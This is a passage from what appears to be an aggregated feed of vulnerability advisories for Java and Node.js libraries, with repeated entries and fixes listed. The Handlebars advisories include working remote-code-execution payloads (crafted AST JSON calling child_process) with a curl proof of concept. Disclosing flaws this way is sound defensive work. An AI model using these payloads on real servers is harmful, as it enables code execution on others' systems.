void accept(Pattern pattern)` 3. * Accept the wildcard specified classes for deserialization, unless they are otherwise rejected. * `@param` patterns Wildcard file name patterns as defined by `{@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}` * / `public void accept(String... patterns)` By default, the decoder will reject *all* classes that will be present in the incoming data. Note: The FtpServer, SSHd and Vysper sub-project are not affected by this issue.
Critical XXE in Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1) and tika-parsers (1.13-1.28.5) modules on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. This CVE covers the same vulnerability as in CVE-2025-54988. However, this CVE expands the scope of affected packages in two ways. First, while the entrypoint for the vulnerability was the tika-parser-pdf-module as reported in CVE-2025-54988, the vulnerability and its fix were in tika-core. Users who upgraded the tika-parser-pdf-module but did not upgrade tika-core to >= 3.2.2 would still be vulnerable. Second, the original report failed to mention that in the 1.x Tika releases, the PDFParser was in the "org.apache.tika:tika-parsers" module.
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.
The zend_string_extend function in Zend/zend_string.h in PHP through 7.1.5 does not prevent changes to string objects that result in a negative length, which allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact by leveraging a script's use of .= with a long string.
An issue was discovered in Oniguruma 6.2.0, as used in Oniguruma-mod in Ruby through 2.4.1 and mbstring in PHP through 7.1.5. A stack out-of-bounds write in onigenc_unicode_get_case_fold_codes_by_str() occurs during regular expression compilation. Code point 0xFFFFFFFF is not properly handled in unicode_unfold_key(). A malformed regular expression could result in 4 bytes being written off the end of a stack buffer of expand_case_fold_string() during the call to onigenc_unicode_get_case_fold_codes_by_str(), a typical stack buffer overflow.
initDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.
An issue was discovered in the EXIF component in PHP before 7.1.27, 7.2.x before 7.2.16, and 7.3.x before 7.3.3. There is an uninitialized read in exif_process_IFD_in_TIFF.
All versions of package merge are vulnerable to Prototype Pollution via _recursiveMerge .
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.
quartz-jobs 2.3.2 and below was discovered to contain a code injection vulnerability in the component org.quartz.jobs.ee.jms.SendQueueMessageJob.execute. This vulnerability is exploited via passing an unchecked argument. NOTE: this is disputed by multiple parties because it is not plausible that untrusted user input would reach the code location where injection must occur.
A command inject vulnerability allows an attacker to perform command injection on Windows applications that indirectly depend on the CreateProcess function when the specific conditions are satisfied.
Apache Commons Text versions prior to 1.10.0 included interpolation features that could be abused when applications passed untrusted input into the text-substitution API. Because some interpolators could trigger actions like executing commands or accessing external resources, an attacker could potentially achieve remote code execution. This vulnerability has been fully addressed in FileMaker Server 22.0.4.
Critical XXE in Apache Tika tika-core (1.13-3.2.1), tika-pdf-module (2.0.0-3.2.1) and tika-parsers (1.13-1.28.5) modules on all platforms allows an attacker to carry out XML External Entity injection via a crafted XFA file inside of a PDF. This CVE covers the same vulnerability as in CVE-2025-54988. However, this CVE expands the scope of affected packages in two ways. First, while the entrypoint for the vulnerability was the tika-parser-pdf-module as reported in CVE-2025-54988, the vulnerability and its fix were in tika-core. Users who upgraded the tika-parser-pdf-module but did not upgrade tika-core to >= 3.2.2 would still be vulnerable. Second, the original report failed to mention that in the 1.x Tika releases, the PDFParser was in the "org.apache.tika:tika-parsers" module.
Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars.compile() and Handlebars.precompile() accept pre-parsed AST objects while validating only selected PathExpression, NumberLiteral, and BooleanLiteral values. This issue bypasses the AST validation introduced in version 4.7.9 for CVE-2026-33937. An attacker who can supply an object instead of a template string can place JavaScript expressions in unchecked values such as Program.blockParams.length, a non-PathExpression parameter depth, a non-string StringLiteral.value, or a non-string PathExpression.original. The compiler emits those values into generated JavaScript, causing code execution in the server process when compile output renders or wherever precompile output is loaded. Applications that pass only template strings are not affected. This issue is fixed in version 4.7.10.
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Version 4.7.9 fixes the issue. Some workarounds are available. Validate input type before calling `Handlebars.compile()`; ensure the argument is always a `string`, never a plain object or JSON-deserialized value. Use the Handlebars runtime-only build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.110, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy ), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class — bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass ) causes <clinit> of SomeClass — and many real-world classes have side-effecting static initialisers Both issues have been fixed.
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names, and both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in, so if Object.prototype has been polluted by another vector the polluted keys are copied into the imports object and passed to Function(). The issue is fixed in 4.18.1 for lodash, lodash-es, lodash-amd, and lodash.template. As a workaround, do not pass untrusted input as key names in options.imports; use only developer-controlled, static key names.
## Summary `Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. ## Description `Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim: ```javascript // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value; ``` Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands. Any endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable. ## Proof of Concept Server-side Express application that passes `req.body.text` to `Handlebars.compile()`: ```Javascript import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); }); app.listen(2123); ``` ``` POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123 { "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } } ``` The response body will contain the output of the `id` command executed on the server. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.
Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
## Summary `Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked. If an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded. Applications that only ever pass template **strings** are not affected. This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r. ## Details The 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is: | AST value | Written into generated code as | Compile options needed | | --- | --- | --- | | `Program.blockParams.length` | `container.program(<index>, data, <length>)` | none (default options) | | `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[<depth>]` | `stringParams: true` | | A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` | | A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` | The first row works with default options. A `Program` with `blockParams: { "length": "<JS expression>" }` passes validation because: 1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and 2. the walker skips the string under `length` because it is not an object. The compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist. ## Proof of Concept 1. Start a server that compiles request input: ```js import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string res.send(template()); }); app.listen(2123); ``` 2. Save this request body as `poc.json`. `missingHelper` does not need to exist: ```json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } } ``` 3. Send the request: ```sh curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json ``` The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process: ``` Error: Injected code ran as uid 1000 ``` ## Impact An application is affected if untrusted input can reach `Handlebars.compile()` or `Handlebars.precompile()` as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to `compile()`. - **`compile()`**: arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution). - **`precompile()`**: the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers. ## Workarounds - **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value. ```javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } ``` - Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable. ## Credits ### Variant `Program.blockParams` - [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33) - [jmoritzc53 ](https://github.com/jmoritzc53) - [bhaswanthc ](https://github.com/bhaswanthc) - [dinhvaren ](https://github.com/dinhvaren) - [n0tra4e ](https://github.com/n0tra4e) - [PellaML](https://github.com/PellaML) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [sanmatte](https://github.com/sanmatte) ### Variant `BooleanLiteral|NumberLiteral.value` - [sondt99 ](https://github.com/sondt99) Thai Son Dinh from VinSOC Labs (R&D) - [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob) - [nikolakojic-rasit ](https://github.com/nikolakojic-rasit) - [vk-can](https://github.com/vk-can) - [shenhuanageshei](https://github.com/shenhuanageshei) - [kustundag](https://github.com/kustundag) - [kagebunsher](https://github.com/kagebunsher) - [ffasterss](https://github.com/ffasterss) ### Variant `PathExpression.depth` - [hibrian827](https://github.com/hibrian827) Team Atlanta - [oss-security-shopify](https://github.com/oss-security-shopify)
The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
initDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.
The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with `exec()`, an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is `[A-z]` instead of the correct `[A-Za-z]`. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).
ZDRES-232: resolveProxyClass Not Overridden - acceptMatchers Filter Bypass via java.lang.reflect.Proxy Assessment: Fully addressed. When the serialised stream contains a TC_PROXYCLASSDESC (the marker for a java.lang.reflect.Proxy ), JDK’s ObjectInputStream.readProxyDesc() is dispatched. JDK then calls the default ObjectInputStream.resolveProxyClass(interfaces) implementation, which performs Class.forName(intf, false, latestUserDefinedLoader()) for EACH interface name and constructs the proxy class — bypassing the accepted classes list . ZDRES-233: Class.forName(name, initialize=true, classLoader) in readClassDescriptor Triggers Static Initialiser of Allow-Listed Classes Assessment: Fully addressed. For ANY class on the allow-list, deserialising a stream that names it triggers the class’s (static initialiser) BEFORE any instance is constructed. This means an attacker who supplies a class name on the allow-list (e.g., the developer wrote accept(“com.myapp.*") , attacker supplies com.myapp.SomeClass ) causes <clinit> of SomeClass — and many real-world classes have side-effecting static initialisers Both issues have been fixed.
The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.
Use of Insufficiently Random Values vulnerability in form-data allows HTTP Parameter Pollution (HPP). This vulnerability is associated with program files lib/form_data.Js. This issue affects form-data: < 2.5.4, 3.0.0 - 3.0.3, 4.0.0 - 4.0.3.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, cross-host request replay updates the current request but leaves the target request and related proxy context pointing at the original origin. Connection-pool selection, CONNECT handling, realm selection, and TLS setup can consequently send the original host's path, Host header, Authorization credentials, or plaintext request to the replay destination. Documented ResponseFilter failover and retry paths can trigger the replay. This issue is fixed in versions 3.0.13 and 2.16.1.
### Summary form-data uses `Math.random()` to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: 1. can observe other values produced by Math.random in the target application, and 2. can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was [recently found in `undici`](https://hackerone.com/reports/2913312) by [`parrot409`](https://hackerone.com/parrot409?type=user) -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. ### Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a `x-request-id` header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. `Math.random()` is a fine place to get these sorts of IDs (in fact, [opentelemetry uses Math.random for this purpose](https://github.com/open-telemetry/opentelemetry-js/blob/2053f0d3a44631ade77ea04f656056a2c8a2ae76/packages/opentelemetry-sdk-trace-base/src/platform/node/RandomIdGenerator.ts#L22)) ### PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). ### Impact For an application to be vulnerable, it must: - Use `form-data` to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) - Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
### Impact When a request is replayed onto a different host, the client updates only the current request and leaves the target request pointing at the original host. Four consumers read that stale value, and each one sends the first host's request, credentials, or both to the second host. A replay happens through documented, ordinary features: a `ResponseFilter` that returns a different request, which is the supported failover pattern, and the IOException retry path. The attacker does not need to induce the replay; an application that uses failover produces it by design. * The socket to host B is filed in the connection pool under host A's key. A later request the application addresses to A is served over the connection to B, and A's `Authorization` header goes to B. * Over a CONNECT tunnel, the client tunnels to B and negotiates TLS with B correctly, then writes A's request into that tunnel. B receives A's path, A's `Host`, and A's `Authorization`. TLS does not protect against this, because the handshake really is with B, so no certificate mismatch occurs. * The replay reuses the original realm, so A's credentials are regenerated onto a replay request that carries no realm of its own. The cross-origin redirect path strips realms for exactly this reason; the replay path never did. * The stale value also decides whether TLS is used at all. When the original request was `http://` and the replay is `https://`, no SSL handler is installed and the replayed request, credentials included, is written in cleartext. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 Both lines are affected identically. This is long-standing behaviour, not a recent regression. ### Patches Fixed in 3.0.13 on the 3.x line and in 2.16.1 on the 2.x line. The target request now moves when a request is replayed, and the proxy moves with it: the proxy is part of the connection pool key, so correcting only the host would convert a harmless pool miss into a hit and route a proxied connection to a direct request. ### Workarounds Do not use a `ResponseFilter` that replays to a different host, and disable request retries, if the client is configured with credentials or used through a proxy. Replaying to the same host is not affected. ### Details `NettyRequestSender.newNettyRequestAndResponseFuture` calls `setCurrentRequest` without `setTargetRequest`, and `replayRequest` does not move the target either. The stale target is then read by the pool key derivation in `NettyResponseFuture`, by `ConnectSuccessInterceptor` when it writes the tunnelled request, by the realm selection in `NettyRequestSender`, and by `NettyConnectListener` when it decides whether to install an SSL handler. Existing replay tests do not cover this, because all of them replay to the same host.
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (core modules). This vulnerability is associated with program files G3413CTRBlockCipher. This issue affects BC-JAVA: from 1.59 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
Hazelcast is a unified real-time data platform combining stream processing with a fast data store. Prior to 5.4.5, 5.5.10, and 5.6.1, improper validation of data supplied by a malicious client able to connect to a cluster allows arbitrary reads from a cluster member's Java heap, off-heap data, and JVM process address space. The same flaw can crash cluster members and, in some Hazelcast Enterprise Edition configurations, corrupt memory with possible arbitrary code execution. Both slim and full distributions are affected. This issue is fixed in versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: First, OpenTelemetry Java instrumentation is attached as a Java agent (`-javaagent`) on Java 16 or earlier. Second, JMX/RMI port has been explicitly configured via `-Dcom.sun.management.jmxremote.port` and is network-reachable. Third, gadget-chain-compatible library is present on the classpath. This results in arbitrary remote code execution with the privileges of the user running the instrumented JVM. For JDK >= 17, no action is required, but upgrading is strongly encouraged. For JDK < 17, upgrade to version 2.26.1 or later. As a workaround, set the system property `-Dotel.instrumentation.rmi.enabled=false` to disable the RMI integration.
In Bouncy Castle for Java before 1.85, Name Constraints bypass via trailing dot in rfc822Name and URI. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).
The GOST 28147-2015 CTR mode implementation (`G3413CTRBlockCipher`) in the Legion of the Bouncy Castle BC-JAVA `bcprov` core module only increments the final byte of the counter, so the counter wraps after 255 blocks and the keystream is reused. Reusing CTR keystream allows an attacker who can observe two ciphertexts produced with the same key/IV to recover the XOR of the plaintexts, breaking confidentiality. Affects BC-JAVA from 1.59 before 1.84 (with backported fixes in 1.80.2 and 1.81.1).
### Impact Using Babel to compile code that was specifically crafted by an attacker can lead to arbitrary code execution during compilation, when using plugins that rely on the `path.evaluate()`or `path.evaluateTruthy()` internal Babel methods. Known affected plugins are: - `@babel/plugin-transform-runtime` - `@babel/preset-env` when using its [`useBuiltIns`](https://babeljs.io/docs/babel-preset-env#usebuiltins) option - Any "polyfill provider" plugin that depends on `@babel/helper-define-polyfill-provider`, such as `babel-plugin-polyfill-corejs3`, `babel-plugin-polyfill-corejs2`, `babel-plugin-polyfill-es-shims`, `babel-plugin-polyfill-regenerator` No other plugins under the `@babel/` namespace are impacted, but third-party plugins might be. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/traverse@7.23.2`. Babel 6 does not receive security fixes anymore (see [Babel's security policy](https://github.com/babel/babel/security/policy)), hence there is no patch planned for `babel-traverse@6`. ### Workarounds - Upgrade `@babel/traverse` to v7.23.2 or higher. You can do this by deleting it from your package manager's lockfile and re-installing the dependencies. `@babel/core` >=7.23.2 will automatically pull in a non-vulnerable version. - If you cannot upgrade `@babel/traverse` and are using one of the affected packages mentioned above, upgrade them to their latest version to avoid triggering the vulnerable code path in affected `@babel/traverse` versions: - `@babel/plugin-transform-runtime` v7.23.2 - `@babel/preset-env` v7.23.2 - `@babel/helper-define-polyfill-provider` v0.4.3 - `babel-plugin-polyfill-corejs2` v0.4.6 - `babel-plugin-polyfill-corejs3` v0.8.5 - `babel-plugin-polyfill-es-shims` v0.10.0 - `babel-plugin-polyfill-regenerator` v0.5.3
### Impact A flaw has been found in Hazelcast Enterprise Edition and Community Edition, which would allow a low-privileged malicious client to read arbitrary data in memory from any cluster member (including Java heap memory, off-heap data, and JVM process address space). Additionally, such a client may be able to cause one or more cluster members to crash, or in some Enterprise Edition configurations also corrupt memory contents, potentially leading to remote code execution. Both slim and full distributions are affected. ### Patches Enterprise customers should upgrade to a fixed version of Hazelcast Enterprise Edition: * 5.7.0 * 5.6.1 * 5.5.10 * 5.4.5 Customers with extended support contracts should contact Hazelcast Support for information on patches for older versions. Community Edition users should upgrade to version 5.7.0. Hazelcast also recommends all customers follow the advice in our [Security Hardening guide](https://docs.hazelcast.com/hazelcast/5.7/secure-cluster/hardening-recommendations), including: * Ensure [Hazelcast Security](https://docs.hazelcast.com/hazelcast/5.7/security/enable-security) is enabled and [client authorization](https://docs.hazelcast.com/hazelcast/5.7/security/client-authorization) is enforced. * Define an [explicit allowlist for zero config Compact serialization](https://docs.hazelcast.com/hazelcast/5.7/serialization/compact-serialization#zero-config-filter). * Avoid deploying clients on 